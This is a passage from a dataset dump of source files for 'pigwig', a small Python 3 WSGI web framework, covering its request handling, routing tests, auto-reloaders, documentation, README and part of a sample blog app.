http.client\nimport http.cookies\nfrom inspect import isgenerator\nimport json\nimport sys\nimport textwrap\nimport traceback\nimport urllib.parse\nimport wsgiref.simple_server\n\nfrom . import exceptions, multipart\nfrom .request_response import HTTPHeaders, Request, Response\nfrom .routes import build_route_tree\nfrom .templates_jinja import JinjaTemplateEngine\n\ndef default_http_exception_handler(e, errors, request, app):\n\terrors.write(textwrap.indent(e.body, '\\t') + '\\n')\n\treturn Response(e.body.encode('utf-8', 'replace'), e.code)\n\ndef default_exception_handler(e, errors, request, app):\n\ttb = traceback.format_exc()\n\terrors.write(tb)\n\treturn Response(tb.encode('utf-8', 'replace'), 500)\n\nclass PigWig:\n\t'''\n\t\tmain WSGI entrypoint. this is a class but defines a :func:`.__call__` so instances of it can\n\t\tbe passed directly to WSGI servers.\n\n\t\t:type routes: list or function\n\t\t:param routes: a list of 3-tuples: ``(method, path, handler)`` or a function that returns\n\t\t such a list\n\t\t * ``method`` is the HTTP method/verb (``GET``, ``POST``, etc.)\n\t\t * ``path`` can either be a static path (``/foo/bar``) or have params (``/post/<id>``).\n\t\t params can be prefixed with ``path:`` to eat up the rest of the path\n\t\t (``/tree/<path:subdir>`` matches ``/tree/a/b/c``). params are passed to the handler as\n\t\t keyword arguments. params cannot be optional, but you can map two routes to a handler\n\t\t that takes an optional argument. params must make up the entire path segment - you\n\t\t cannot have ``/post_<id>``.\n\t\t * ``handler`` is a function taking a :class:`.Request` positional argument and any\n\t\t number of param keyword arguments\n\t\t having two identical static routes or two overlapping param segments (``/foo/<bar>`` and\n\t\t ``/foo/<baz>``) with the same method raises an :class:`.exceptions.RouteConflict`\n\n\t\t:type template_dir: str\n\t\t:param template_dir: if specified, a ``template_engine`` is created with this as the argument.\n\t\t for ``pigwig.templates_jinja.JinjaTemplateEngine``, this should be an absolute path or it\n\t\t will be relative to the current working directory.\n\n\t\t:param template_engine: a class that takes a ``template_dir`` in the constructor and has a\n\t\t ``.stream`` method that takes ``template_name, context`` as arguments (passed from user\n\t\t code - for jinja2, context is a dictionary)\n\n\t\t:type cookie_secret: str\n\t\t:param cookie_secret: app-wide secret used for signing secure cookies. see\n\t\t :func:`Request.get_secure_cookie`\n\n\t\t:param http_exception_handler: a function that will be called when an\n\t\t :class:`.exceptions.HTTPException` is raised. it will be passed the original exception,\n\t\t `wsgi.errors <https://www.python.org/dev/peps/pep-0333/#environ-variables>`_, the\n\t\t :class:`.Request`, and a reference to this :class:`.PigWig` instance. it must return a\n\t\t :class:`.Response` and should almost certainly have the code of the original exception.\n\t\t exceptions raised here can be handled by ``exception_handler``.\n\n\t\t:param exception_handler: a function that will be called when any other exception is raised.\n\t\t it will be passed the same arguments as ``http_exception_handler`` and must also return a\n\t\t :class:`.Response`. be careful: raising an exception here is bad.\n\n\t\t:param response_done_handler: a function that will be called when control has been returned\n\t\t back to the WSGI server. it will be passed a request and response. be careful: raising an\n\t\t exception here is very bad.\n\n\t\thas the following instance attrs:\n\n\t\t* ``routes`` - an internal representation of the route tree - not the list passed to the\n\t\t constructor\n\t\t* ``template_engine``\n\t\t* ``cookie_secret``\n\t\t* ``http_exception_handler``\n\t\t* ``exception_handler``\n\t'''\n\n\tdef __init__(self, routes, template_dir=None, template_engine=JinjaTemplateEngine,\n\t\t\tcookie_secret=None, http_exception_handler=default_http_exception_handler,\n\t\t\texception_handler=default_exception_handler, response_done_handler=None):\n\t\tif callable(routes):\n\t\t\troutes = routes()\n\t\tself.routes = build_route_tree(routes)\n\n\t\tif template_dir:\n\t\t\tself.template_engine = template_engine(template_dir)\n\t\telse:\n\t\t\tself.template_engine = None\n\n\t\tself.cookie_secret = cookie_secret\n\t\tself.http_exception_handler = http_exception_handler\n\t\tself.exception_handler = exception_handler\n\t\tself.response_done_handler = response_done_handler\n\n\tdef __call__(self, environ, start_response):\n\t\t''' main WSGI entrypoint '''\n\t\terrors = environ.get('wsgi.errors', sys.stderr)\n\t\ttry:\n\t\t\tif environ['REQUEST_METHOD'] == 'OPTIONS':\n\t\t\t\tstart_response('200 OK', copy.copy(Response.DEFAULT_HEADERS))\n\t\t\t\treturn []\n\n\t\t\trequest, err = self.build_request(environ)\n\t\t\ttry:\n\t\t\t\ttry:\n\t\t\t\t\tif err:\n\t\t\t\t\t\traise err # pylint: disable=raising-bad-type\n\n\t\t\t\t\thandler, kwargs = self.routes.route(request.method, request.path)\n\t\t\t\t\tresponse = handler(request, **kwargs)\n\t\t\t\texcept exceptions.HTTPException as e:\n\t\t\t\t\tresponse = self.http_exception_handler(e, errors, request, self)\n\t\t\texcept Exception as e: # something went wrong in handler or http_exception_handler\n\t\t\t\tresponse = self.exception_handler(e, errors, request, self)\n\n\t\t\tif isinstance(response.body, str):\n\t\t\t\tresponse.body = [response.body.encode('utf-8')] # pylint: disable=no-member\n\t\t\telif isinstance(response.body, bytes):\n\t\t\t\tresponse.body = [response.body]\n\t\t\telif response.body is None:\n\t\t\t\tresponse.body = []\n\t\t\telif not isgenerator(response.body):\n\t\t\t\traise Exception('unhandled view response type: %s' % type(response.body))\n\n\t\t\tstatus_line = '%d %s' % (response.code, http.client.responses[response.code])\n\t\t\tstart_response(status_line, response.headers)\n\t\t\tif self.response_done_handler:\n\t\t\t\tself.response_done_handler(request, response)\n\t\t\treturn response.body\n\t\texcept: # something went very wrong handling OPTIONS, in error handling, or in sending the response\n\t\t\terrors.write(traceback.format_exc())\n\t\t\tstart_response('500 Internal Server Error', [])\n\t\t\treturn [b'internal server error']\n\n\tdef build_request(self, environ):\n\t\t''' builds :class:`.Response` objects. for internal use. '''\n\t\tmethod = environ['REQUEST_METHOD']\n\t\tpath = environ['PATH_INFO']\n\t\tquery = {}\n\t\theaders = HTTPHeaders()\n\t\tcookies = http.cookies.SimpleCookie()\n\t\tbody = err = None\n\n\t\ttry:\n\t\t\tqs = environ.get('QUERY_STRING')\n\t\t\tif qs:\n\t\t\t\tquery = parse_qs(qs)\n\n\t\t\tcontent_length = environ.get('CONTENT_LENGTH')\n\t\t\tif content_length:\n\t\t\t\theaders['Content-Length'] = content_length\n\t\t\t\tcontent_length = int(content_length)\n\t\t\tbody = (environ['wsgi.input'], content_length)\n\t\t\tcontent_type = environ.get('CONTENT_TYPE')\n\t\t\tif content_type:\n\t\t\t\theaders['Content-Type'] = content_type\n\t\t\t\tmedia_type, params = cgi.parse_header(content_type)\n\t\t\t\thandler = self.content_handlers.get(media_type)\n\t\t\t\tif handler:\n\t\t\t\t\tbody = handler(environ['wsgi.input'], content_length, params)\n\n\t\t\thttp_cookie = environ.get('HTTP_COOKIE')\n\t\t\tif http_cookie:\n\t\t\t\tcookies.load(http_cookie)\n\n\t\t\tfor key in environ:\n\t\t\t\tif key.startswith('HTTP_'):\n\t\t\t\t\theaders[key[5:].replace('_', '-')] = environ[key]\n\t\texcept Exception as e:\n\t\t\terr = e\n\n\t\treturn Request(self, method, path, query, headers, body, cookies, environ), err\n\n\tdef main(self, host='0.0.0.0', port=None):\n\t\t'''\n\t\tsets up the autoreloader and runs a\n\t\t`wsgiref.simple_server <https://docs.python.org/3/library/wsgiref.html#module-wsgiref.simple_server>`_.\n\t\tuseful for development.\n\t\t'''\n\n\t\thave_reloader = True\n\t\tif sys.platform == 'linux':\n\t\t\tfrom . import reloader_linux as reloader # pylint: disable=import-outside-toplevel\n\t\telif sys.platform == 'darwin':\n\t\t\ttry:\n\t\t\t\tfrom . import reloader_osx as reloader # pylint: disable=import-outside-toplevel\n\t\t\texcept ImportError as e:\n\t\t\t\thave_reloader = False\n\t\t\t\tprint('install', e.name, 'for auto-reloading')\n\t\telse:\n\t\t\thave_reloader = False\n\t\t\tprint('no reloader available for', sys.platform)\n\t\tif have_reloader:\n\t\t\treloader.init()\n\n\t\tif hasattr(self.template_engine, 'jinja_env'):\n\t\t\tself.template_engine.jinja_env.auto_reload = True\n\n\t\tif port is None:\n\t\t\tport = 8000\n\t\t\tif len(sys.argv) == 2:\n\t\t\t\tport = int(sys.argv[1])\n\t\tserver = wsgiref.simple_server.make_server(host, port, self)\n\t\tprint('listening on', port)\n\t\tserver.serve_forever()\n\n\t@staticmethod\n\tdef handle_urlencoded(body, length, params):\n\t\tcharset = params.get('charset', 'utf-8')\n\t\treturn parse_qs(body.read(length).decode(charset))\n\n\t@staticmethod\n\tdef handle_json(body, length, params):\n\t\tcharset = params.get('charset', 'utf-8')\n\t\treturn json.loads(body.read(length).decode(charset))\n\n\t@staticmethod\n\tdef handle_multipart(body, length, params):\n\t\tparams['boundary'] = params['boundary'].encode()\n\t\tform = multipart.parse_multipart(body, params)\n\t\tfor k, v in form.items():\n\t\t\tif len(v) == 1:\n\t\t\t\tform[k] = v[0]\n\t\treturn form\n\nPigWig.content_handlers = {\n\t'application/json': PigWig.handle_json,\n\t'application/x-www-form-urlencoded': PigWig.handle_urlencoded,\n\t'multipart/form-data': PigWig.handle_multipart,\n}\n\ndef parse_qs(qs):\n\tif not qs:\n\t\treturn {}\n\ttry:\n\t\tparsed = urllib.parse.parse_qs(qs, keep_blank_values=True, strict_parsing=True, errors='strict')\n\texcept UnicodeDecodeError as e:\n\t\tqs_trunc = qs\n\t\tif len(qs_trunc) > 24:\n\t\t\tqs_trunc = qs_trunc[:24] + '...'\n\t\traise exceptions.HTTPException(400, '%s\\n%r' % (e, qs_trunc)) # \"'utf-8' codec can't decode byte ...\"\n\texcept ValueError as e:\n\t\traise exceptions.HTTPException(400, e.args[0]) # \"bad query field: ...\"\n\tfor k, v in parsed.items():\n\t\tif len(v) == 1:\n\t\t\tparsed[k] = v[0]\n\treturn parsed\n" }, { "alpha_fraction": 0.6649616360664368, "alphanum_fraction": 0.6805911064147949, "avg_line_length": 31.58333396911621, "blob_id": "f11b0cf7f6d0e5bced1949ae491a919a036fb15d", "content_id": "594195819c338fbadf3452f8a2fab8e798026d7f", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3521, "license_type": "permissive", "max_line_length": 105, "num_lines": 108, "path": "/pigwig/tests/test_pigwig.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import io\nimport math\nimport textwrap\nimport unittest\nfrom unittest import mock\n\nfrom pigwig import PigWig\nfrom pigwig.exceptions import HTTPException\nfrom pigwig.pigwig import parse_qs\n\nclass PigWigTests(unittest.TestCase):\n\tdef test_build_request(self):\n\t\tapp = PigWig([])\n\t\tenviron = {\n\t\t\t'REQUEST_METHOD': 'test method',\n\t\t\t'PATH_INFO': 'test path?a=1&b=2&b=3',\n\t\t\t'HTTP_COOKIE': 'a=1; a=\"2\"',\n\t\t\t'wsgi.input': None,\n\t\t}\n\t\treq, err = app.build_request(environ)\n\t\tself.assertIsNone(err)\n\t\tself.assertEqual(req.method, 'test method')\n\t\tself.assertEqual(req.path, 'test path?a=1&b=2&b=3')\n\t\tself.assertEqual(req.query, {})\n\t\tself.assertEqual(req.cookies['a'].value, '2')\n\n\t\tenviron['QUERY_STRING'] = 'a=1&b=2&b=3'\n\t\treq, err = app.build_request(environ)\n\t\tself.assertIsNone(err)\n\t\tself.assertEqual(req.query, {'a': '1', 'b': ['2', '3']})\n\n\t\tenviron['CONTENT_TYPE'] = 'application/json; charset=utf8'\n\t\tenviron['wsgi.input'] = io.BytesIO(b'{\"a\": 1, \"a\": NaN}')\n\t\treq, err = app.build_request(environ)\n\t\tself.assertIsNone(err)\n\t\tself.assertTrue(math.isnan(req.body['a']))\n\n\t\tenviron['CONTENT_TYPE'] = 'application/x-www-form-urlencoded'\n\t\tenviron['wsgi.input'] = io.BytesIO(b'a=1&b=2&b=3')\n\t\treq, err = app.build_request(environ)\n\t\tself.assertIsNone(err)\n\t\tself.assertEqual(req.body, {'a': '1', 'b': ['2', '3']})\n\n\t\tenviron['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=latin1'\n\t\tenviron['wsgi.input'] = io.BytesIO('a=Ï'.encode('latin-1')) # capital I with diaresis, 0xCF in latin-1\n\t\treq, err = app.build_request(environ)\n\t\tself.assertIsNone(err)\n\t\tself.assertEqual(req.body, {'a': 'Ï'})\n\n\t\tenviron['CONTENT_TYPE'] = 'multipart/form-data; boundary=boundary'\n\t\tenviron['wsgi.input'] = io.BytesIO(textwrap.dedent('''\\\n\t\t--boundary\n\t\tContent-Disposition: form-data; name=\"a\"\n\n\t\t1\n\t\t--boundary\n\t\tContent-Disposition: form-data; name=\"a\"\n\n\t\t2\n\t\t--boundary\n\t\tContent-Disposition: form-data; name=\"file1\"; filename=\"the_file\"\n\t\tContent-Type: application/octet-stream\n\n\t\tblah blah blah\n\t\t--boundary--\n\t\t''').encode())\n\t\treq, err = app.build_request(environ)\n\t\tself.assertIsNone(err)\n\t\tself.assertEqual(req.body['a'], [b'1', b'2'])\n\t\tself.assertEqual(req.body['file1'].data, b'blah blah blah')\n\t\tself.assertEqual(req.body['file1'].filename, 'the_file')\n\n\tdef test_parse_qs(self):\n\t\tself.assertEqual(parse_qs('a=1&b=2'), {'a': '1', 'b': '2'})\n\t\tself.assertEqual(parse_qs(''), {})\n\n\t\tself.assertRaises(HTTPException, parse_qs, 'a=1&b')\n\t\tself.assertRaises(HTTPException, parse_qs, 'a=%80')\n\n\tdef test_exception_handling(self):\n\t\tstart_response = mock.MagicMock()\n\t\tenviron = {'REQUEST_METHOD': 'GET', 'PATH_INFO': '/', 'wsgi.input': None, 'wsgi.errors': io.StringIO()}\n\n\t\tapp = PigWig([])\n\t\tapp(environ, start_response)\n\t\tstart_response.assert_called_with('404 Not Found', mock.ANY)\n\n\t\theh = mock.MagicMock()\n\t\tapp = PigWig([], http_exception_handler=heh)\n\t\tapp(environ, start_response)\n\t\t# pylint: disable=unsubscriptable-object\n\t\thttp_exception = heh.call_args[0][0]\n\t\tself.assertEqual(http_exception.code, 404)\n\n\t\teh = mock.MagicMock()\n\t\tapp = PigWig([('GET', '/', lambda req: 0/0)], exception_handler=eh)\n\t\tapp(environ, start_response)\n\t\texception = eh.call_args[0][0]\n\t\tself.assertIsInstance(exception, ZeroDivisionError)\n\n\t\theh.reset()\n\t\teh.reset()\n\t\theh.side_effect = NotADirectoryError()\n\t\tapp = PigWig([], http_exception_handler=heh, exception_handler=eh)\n\t\tapp(environ, start_response)\n\t\tself.assertTrue(heh.called)\n\t\texception = eh.call_args[0][0]\n\t\tself.assertIsInstance(exception, NotADirectoryError)\n" }, { "alpha_fraction": 0.6399162411689758, "alphanum_fraction": 0.6496859788894653, "avg_line_length": 25.518518447875977, "blob_id": "425c8b6caa68c2ce79519e772d7909afa8551aca", "content_id": "4ea00ae2a5b08da8480eab7cb5fff6e9d5c513d7", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 1433, "license_type": "permissive", "max_line_length": 107, "num_lines": 54, "path": "/docs/index.rst", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "PigWig\n======\n\n.. py:module:: pigwig\n\npigwig is a WSGI framework for python 3.4+::\n\n #!/usr/bin/env python3\n\n from pigwig import PigWig, Response\n\n def root(request):\n return Response('hello, world!')\n\n def shout(request, word):\n return Response.json({'input': word, 'OUTPUT': word.upper()})\n\n routes = [\n ('GET', '/', root),\n ('GET', '/shout/<word>', shout),\n ]\n\n app = PigWig(routes)\n\n if __name__ == '__main__':\n app.main()\n\npigwig has no hard dependencies, but\n\n1. if you want to use templating, you must either install `jinja2 <http://jinja.pocoo.org/docs>`_\n or provide your own template engine\n2. if you want to use :func:`PigWig.main` for development, the reloader requires a libc that\n supports inotify (linux 2.6.13 and glibc 2.4 or later) or the\n `macfsevents <https://github.com/malthe/macfsevents>`_ package on OS X\n3. you will want a \"real\" WSGI server to deploy on such as\n `eventlet <http://eventlet.net/doc/modules/wsgi.html>`_ or `gunicorn <http://gunicorn.org/#quickstart>`_\n\nsee `blogwig <https://github.com/raylu/pigwig/tree/master/blogwig>`_ for a more in-depth example\nand the `readme <https://github.com/raylu/pigwig#facs-frequent-annoying-comments>`_ for FACs\n\n.. toctree::\n :maxdepth: 2\n\n pigwig\n request_response\n multipart\n exceptions\n\nindices and tables\n==================\n\n* :ref:`genindex`\n* :ref:`modindex`\n* :ref:`search`\n\n" }, { "alpha_fraction": 0.7005586624145508, "alphanum_fraction": 0.702793300151825, "avg_line_length": 22.552631378173828, "blob_id": "06a012e4a77fcdfe3cfa1cc15c65f747b0e0ddaa", "content_id": "21efc845149d965b0a4c8b1351503475402ce4b0", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 895, "license_type": "permissive", "max_line_length": 98, "num_lines": 38, "path": "/pigwig/reloader_linux.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import os\nimport sys\nimport _thread # pylint: disable=unused-import\n\nfrom . import inotify\n\ndef init():\n\tfd = inotify.init()\n\twds = {}\n\tfor module in sys.modules.values():\n\t\ttry:\n\t\t\tpathname = module.__file__\n\t\texcept AttributeError:\n\t\t\tcontinue\n\t\tif pathname is None:\n\t\t\tcontinue\n\t\twd = inotify.add_watch(fd, pathname, inotify.IN.CLOSE_WRITE)\n\t\twds[wd] = pathname\n\n\t# pylint: disable=redefined-outer-name,import-outside-toplevel\n\ttry:\n\t\timport eventlet\n\texcept ImportError:\n\t\tpass\n\telse:\n\t\t_thread = eventlet.patcher.original('_thread')\n\t_thread.start_new_thread(_reloader, (fd, wds))\n\ndef _reloader(fd, wds):\n\tevents = inotify.get_events(fd)\n\tfor event in events:\n\t\tprint(wds[event.wd], 'changed, reloading...')\n\tdo_reload(fd)\n\ndef do_reload(fd):\n\tos.close(fd)\n\tos.closerange(sys.stderr.fileno()+1, os.sysconf('SC_OPEN_MAX')) # close keep-alive client sockets\n\tos.execv(sys.argv[0], sys.argv)\n" }, { "alpha_fraction": 0.6142857074737549, "alphanum_fraction": 0.6142857074737549, "avg_line_length": 13, "blob_id": "3edf36a70d9dc79f89c3d5e6f047a00f7eb41c1d", "content_id": "a609febd307d6505fcb48f9201cd22ffffa49955", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 70, "license_type": "permissive", "max_line_length": 33, "num_lines": 5, "path": "/docs/exceptions.rst", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "Exceptions\n==========\n\n.. automodule:: pigwig.exceptions\n :members:\n" }, { "alpha_fraction": 0.6712018251419067, "alphanum_fraction": 0.6780045628547668, "avg_line_length": 24.941177368164062, "blob_id": "b3a725be44d1d92c0ebb788c965cc021abd8af9c", "content_id": "3034ab1fc11a7d7ad843e4517b52834e11fed5f6", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 441, "license_type": "permissive", "max_line_length": 67, "num_lines": 17, "path": "/pigwig/exceptions.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "class HTTPException(Exception):\n\t'''\n\traise in a route handler to generate a non-200 response\n\n\t:param code: interpreted the same way as :attr:`.Response.code`\n\t:param body: unlike in :class:`.Response`, must be a ``str``\n\t'''\n\n\tdef __init__(self, code, body):\n\t\tsuper().__init__(code, body)\n\t\tself.code = code\n\t\tself.body = body\n\nclass RouteConflict(Exception):\n\t'''\n\traised when creating a :class:`.PigWig` app if two routes conflict\n\t'''\n" }, { "alpha_fraction": 0.6684881448745728, "alphanum_fraction": 0.6715239882469177, "avg_line_length": 21.561643600463867, "blob_id": "285b90b89b590477d8f69f88d15590547dc4d934", "content_id": "1bafd6e49358f6fb26bb0efdc796c7213c2b59d0", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1647, "license_type": "permissive", "max_line_length": 120, "num_lines": 73, "path": "/README.md", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "# pigwig\n\na pig wearing a wig is humor \na wig wearing a pig is heresy \npigwig is a python 3 WSGI framework \n(blogwig is a sample app. don't put wigs on blogs)\n\n```python\n#!/usr/bin/env python3\n\nfrom pigwig import PigWig, Response\n\ndef root(request):\n\treturn Response('hello, world!')\n\nroutes = [\n\t('GET', '/', root),\n]\n\napp = PigWig(routes)\n\nif __name__ == '__main__':\n\tapp.main()\n```\n\n### FACs (frequent, annoying comments)\n\n1. **tornado-style class-based views are better** \nwe think you're wrong (inheritance is a hammer and this problem is no nail),\nbut it's easy enough to achieve:\n\t```python\n\tdef routes():\n\t\tviews = [\n\t\t\t('/', RootHandler),\n\t\t]\n\t\thandlers = []\n\t\tfor route, view in views:\n\t\t\tfor verb in ['get', 'post']:\n\t\t\t\tif hasattr(view, verb):\n\t\t\t\t\thandlers.append((verb.upper(), route, cbv_handler(view, verb)))\n\t\treturn handlers\n\n\tdef cbv_handler(cbv, verb):\n\t\tdef handler(request):\n\t\t\treturn getattr(cbv(request), verb)()\n\t\treturn handler\n\n\tclass RootHandler:\n\t\tdef __init__(self, request):\n\t\t\tself.request = request\n\n\t\tdef get(self):\n\t\t\treturn Response('hello')\n\t```\n1. **flask-style decorator-based routing is better** \nwe think you're wrong (explicit is better than implicit),\nbut it's easy enough to achieve:\n\t```python\n\troutes = []\n\tdef route(path, method='GET'):\n\t\tdef wrapper(handler):\n\t\t\troutes.append((method, path, handler))\n\t\t\treturn handler\n\t\treturn wrapper\n\n\t@route('/')\n\tdef root(request):\n\t\treturn Response('hello')\n\t```\n1. **django-style integration with an ORM is better** \nyou're wrong\n\n[![coverage status](https://coveralls.io/repos/github/raylu/pigwig/badge.svg)](https://coveralls.io/github/raylu/pigwig)\n" }, { "alpha_fraction": 0.8358209133148193, "alphanum_fraction": 0.8358209133148193, "avg_line_length": 66, "blob_id": "68ca4e5551ba67c29746bfc44713858044486f22", "content_id": "90032f621152d7dfb70c297e246e89703e2ef92e", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 134, "license_type": "permissive", "max_line_length": 85, "num_lines": 2, "path": "/pigwig/__init__.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "from .pigwig import PigWig, default_http_exception_handler, default_exception_handler\nfrom .request_response import Request, Response\n" }, { "alpha_fraction": 0.5359848737716675, "alphanum_fraction": 0.5593434572219849, "avg_line_length": 30.68000030517578, "blob_id": "64d52b5cc5f2e5905a6c22815ae5943593fbe43b", "content_id": "1cce7754eab115492cb1839b16fc5d2dc390f8b3", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1584, "license_type": "permissive", "max_line_length": 87, "num_lines": 50, "path": "/pigwig/tests/test_routes.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import unittest\n\nfrom pigwig import exceptions\nfrom pigwig.routes import build_route_tree\n\nclass RouteTests(unittest.TestCase):\n\tdef test_simple(self):\n\t\tt = build_route_tree([\n\t\t\t('GET', '/', 0),\n\t\t\t('GET', '/one', 1),\n\t\t\t('POST', '/two/three', 2),\n\t\t])\n\t\tself.assertEqual(t.route('GET', '/'), (0, {}))\n\t\tself.assertEqual(t.route('GET', '/one'), (1, {}))\n\t\tself.assertEqual(t.route('POST', '/two/three'), (2, {}))\n\t\twith self.assertRaises(exceptions.HTTPException):\n\t\t\tt.route('POST', '/two')\n\t\twith self.assertRaises(exceptions.HTTPException):\n\t\t\tt.route('GET', '/two/three')\n\n\tdef test_params(self):\n\t\tt = build_route_tree([\n\t\t\t('GET', '/one', 1),\n\t\t\t('GET', '/<p1>', 2),\n\t\t\t('GET', '/<p1>/three', 3),\n\t\t\t('GET', '/<p1>/three/four', 4),\n\t\t\t('GET', '/<p1>/<path:p2>', 2),\n\t\t])\n\t\tself.assertEqual(t.route('GET', '/one'), (1, {}))\n\t\tself.assertEqual(t.route('GET', '/two'), (2, {'p1': 'two'}))\n\t\tself.assertEqual(t.route('GET', '/two/three'), (3, {'p1': 'two'}))\n\t\tself.assertEqual(t.route('GET', '/two/three/four'), (4, {'p1': 'two'}))\n\t\tself.assertEqual(t.route('GET', '/two/foo'), (2, {'p1': 'two', 'p2': 'foo'}))\n\t\tself.assertEqual(t.route('GET', '/two/foo/bar'), (2, {'p1': 'two', 'p2': 'foo/bar'}))\n\n\tdef test_conflict(self):\n\t\twith self.assertRaises(exceptions.RouteConflict):\n\t\t\tbuild_route_tree([\n\t\t\t\t('GET', '/<p1>', 1),\n\t\t\t\t('GET', '/<p2>', 2),\n\t\t\t])\n\t\twith self.assertRaises(exceptions.RouteConflict):\n\t\t\tbuild_route_tree([\n\t\t\t\t('GET', '/one/', 1),\n\t\t\t\t('GET', '/one/', 2),\n\t\t\t])\n\t\twith self.assertRaises(Exception):\n\t\t\tbuild_route_tree([\n\t\t\t\t('GET', '/<p1>//', 1),\n\t\t\t])\n" }, { "alpha_fraction": 0.7371794581413269, "alphanum_fraction": 0.75, "avg_line_length": 30.200000762939453, "blob_id": "71dd932bc99e0b51b7038ec8fa3df00a12cb2ea9", "content_id": "38ca3680a8c1c551c03aceba40ab6476828778a2", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "permissive", "max_line_length": 77, "num_lines": 15, "path": "/pigwig/templates_jinja.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "try:\n\timport jinja2\nexcept ImportError:\n\tjinja2 = None\n\nclass JinjaTemplateEngine:\n\tdef __init__(self, template_dir):\n\t\tif not jinja2:\n\t\t\traise Exception('Cannot use %s without jinja2 installed' % self.__class__)\n\t\tloader = jinja2.FileSystemLoader(template_dir)\n\t\tself.jinja_env = jinja2.Environment(loader=loader, auto_reload=False)\n\n\tdef render(self, template_name, context):\n\t\ttemplate = self.jinja_env.get_template(template_name)\n\t\treturn template.render(context)\n" }, { "alpha_fraction": 0.712890625, "alphanum_fraction": 0.71484375, "avg_line_length": 19.479999542236328, "blob_id": "718df0bc34fe74faea39264c0a5ccfe912941cb7", "content_id": "c3eaa8e9d8a94f0b20cdf95db6808b87621e5e0a", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 512, "license_type": "permissive", "max_line_length": 52, "num_lines": 25, "path": "/pigwig/reloader_osx.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "import os\nimport sys\n\nfrom fsevents import Observer, Stream\n\nobserver = Observer()\nobserver.daemon = True\n\ndef callback(event):\n\tobserver.stop()\n\tprint(event.name, 'changed, reloading...')\n\tos.execv(sys.argv[0], sys.argv)\n\ndef init():\n\tpaths = []\n\tfor module in sys.modules.values():\n\t\ttry:\n\t\t\tpathname = os.path.dirname(module.__file__)\n\t\texcept (AttributeError, TypeError):\n\t\t\tcontinue\n\t\tpaths.append(pathname)\n\n\tobserver.start()\n\tstream = Stream(callback, *paths, file_events=True)\n\tobserver.schedule(stream)\n" }, { "alpha_fraction": 0.6761073470115662, "alphanum_fraction": 0.6882452964782715, "avg_line_length": 27.634145736694336, "blob_id": "3df217053c5496a6e6d1ac789b1a07be09840855", "content_id": "9a71e663aad07f37e921cf73a42a034cdb3560e5", "detected_licenses": [ "JSON" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4696, "license_type": "permissive", "max_line_length": 96, "num_lines": 164, "path": "/blogwig/blogwig.py", "repo_name": "raylu/pigwig", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport binascii\nimport datetime\nimport functools\nimport getpass\nimport hashlib\nimport hmac\nimport os\nfrom os import path\nimport sqlite3\n\nfrom pigwig import PigWig, Response, default_http_exception_handler\nfrom pigwig.exceptions import HTTPException\n\nblogwig_dir = path.normpath(path.dirname(path.abspath(__file__)))\ntemplate_dir = path.join(blogwig_dir, 'templates')\ndb_path = path.join(blogwig_dir, 'blogwig.db')\ndb = sqlite3.connect(db_path)\ndb.row_factory = sqlite3.Row\n\nLOGIN_TIME = datetime.timedelta(days=30)\n\ndef routes():\n\treturn [\n\t\t('GET', '/', root),\n\t\t('GET', '/post/<id>', post),\n\t\t('GET', '/posts/<path:ids>', posts),\n\t\t('GET', '/login', login_form),\n\t\t('POST', '/login', login),\n\t\t('GET', '/admin', admin),\n\t\t('POST', '/admin/post', admin_post),\n\t]\n\ndef root(request):\n\tposts = db.execute('''\n\t\tSELECT posts.id, users.username, posts.title, posts.body\n\t\tFROM posts JOIN users on posts.user_id = users.id\n\t\tORDER BY posts.id DESC LIMIT 10\n\t''')\n\n\tlogged_in = False\n\tif request.get_secure_cookie('user_id', LOGIN_TIME):\n\t\tlogged_in = True\n\n\treturn Response.render(request, 'root.jinja2', {'posts': posts, 'logged_in': logged_in})\n\ndef post(request, id):\n\tposts = db.execute('''\n\t\tSELECT users.username, posts.title, posts.body\n\t\tFROM posts JOIN users on posts.user_id = users.id\n\t\tWHERE posts.id = ?\n\t''', id)\n\ttry:\n\t\tpost = next(posts)\n\texcept StopIteration:\n\t\traise HTTPException(404, 'invalid post id')\n\treturn Response.render(request, 'posts.jinja2', {'posts': [post]})\n\ndef posts(request, ids):\n\tids = list(map(int, ids.split('/')))\n\tposts = db.execute('''\n\t\tSELECT users.username, posts.title, posts.body\n\t\tFROM posts JOIN users on posts.user_id = users.id\n\t\tWHERE posts.id IN (%s)\n\t''' % ','.join('?' * len(ids)), ids)\n\treturn Response.render(request, 'posts.jinja2', {'posts': posts})\n\ndef login_form(request):\n\treturn Response.render(request, 'login.jinja2', {})\n\ndef login(request):\n\ttry:\n\t\tusername = request.body['username']\n\t\tpassword = request.body['password']\n\texcept KeyError:\n\t\traise HTTPException(400, 'username or password missing')\n\tcur = db.execute('SELECT id, password, salt FROM users WHERE username = ?', (username,))\n\tuser = next(cur)\n\thashed = _hash(password, user['salt'])\n\tif hmac.compare_digest(user['password'], hashed):\n\t\tresponse = 